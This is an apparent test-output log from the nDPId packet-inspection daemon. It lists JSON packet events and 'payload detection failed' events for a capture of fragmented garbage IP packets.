+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169458,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169470,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169483,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169495,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169508,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169521,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169534,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169548,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169564,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169577,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169590,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169604,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169617,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169629,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169642,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169708,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169720,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169730,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169740,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169753,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169767,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169780,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169792,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169805,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169818,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169833,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169845,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169858,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169871,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169885,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169898,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169911,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169923,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169936,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169949,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169964,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169977,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169989,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170002,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170016,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170029,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170041,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 